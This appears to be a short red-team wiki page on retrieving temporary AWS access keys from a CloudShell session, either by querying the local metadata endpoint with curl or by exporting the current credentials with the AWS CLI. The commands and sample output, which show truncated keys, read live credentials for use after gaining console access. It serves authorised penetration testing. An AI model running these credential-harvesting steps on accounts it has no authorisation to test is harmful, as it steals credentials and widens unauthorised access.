# Generate IAM Access Keys from CloudShell

{% hint style="info" %}
I originally learned of this from Christophe Tafani-Dereeper's [blog post](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/)
{% endhint %}

## Why Use This?&#x20;

* When performing pentesting or red teaming, we may encounter a user with console access or gain access to an existing console session
* By retrieving AWS Access Keys, we can leverage this for further enumeration from our command line and tools&#x20;

***

## Obtaining AWS Access Keys from CloudShell

* CloudShell provides a ready-to-use CLI environment for the logged-on user/role without needing to set up credentials like you would on say your computer&#x20;
* It's able to do this because it's retrieving credentials each time a command is run (see screenshot) from the instance metadata service

### Option 1: Querying IMDS Service

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FojcsLJvwQJSNH86QkYJt%2FCleanShot%202024-12-18%20at%2010.56.17%402x.png?alt=media&#x26;token=e4a9d902-66db-4a8e-98f5-06ef94e704e3" alt=""><figcaption><p>CloudShell:<code>aws iam list-users --debug</code></p></figcaption></figure>

* Now that we know the endpoint, we can [query it](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html#instance-metadata-v2-how-it-works) ourselves and get the plaintext credentials&#x20;

{% code overflow="wrap" %}

```bash
# Get the token 
TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# Retrieve creds 
curl -H "X-aws-ec2-metadata-token: $TOKEN" localhost:1338/latest/meta-data/container/security-credentials
{
        "Type": "",
        "AccessKeyId": "ASIAUU...",
        "SecretAccessKey": "ak24Bx8e...",
        "Token": "IQoJb3Jp...",
        "Expiration": "2024-12-18T18:10:17Z",
        "Code": "Success"
```

{% endcode %}

### Option 2: Get Existing Credentials

* Alternatively, run this command in CloudShell and it exports the current credentials in use (i.e., it doesn't renew creds with a later expiration date like querying the IMDS service will)

{% code overflow="wrap" %}

```zsh
aws configure export-credentials
{
  "Version": 1,
  "AccessKeyId": "ASIA[REDACTED]",
  "SecretAccessKey": "3LDU[REDACTED]",
  "SessionToken": "IQoJ[REDACTED]",
  "Expiration": "2024-12-15T01:47:22+00:00"
}
```

{% endcode %}
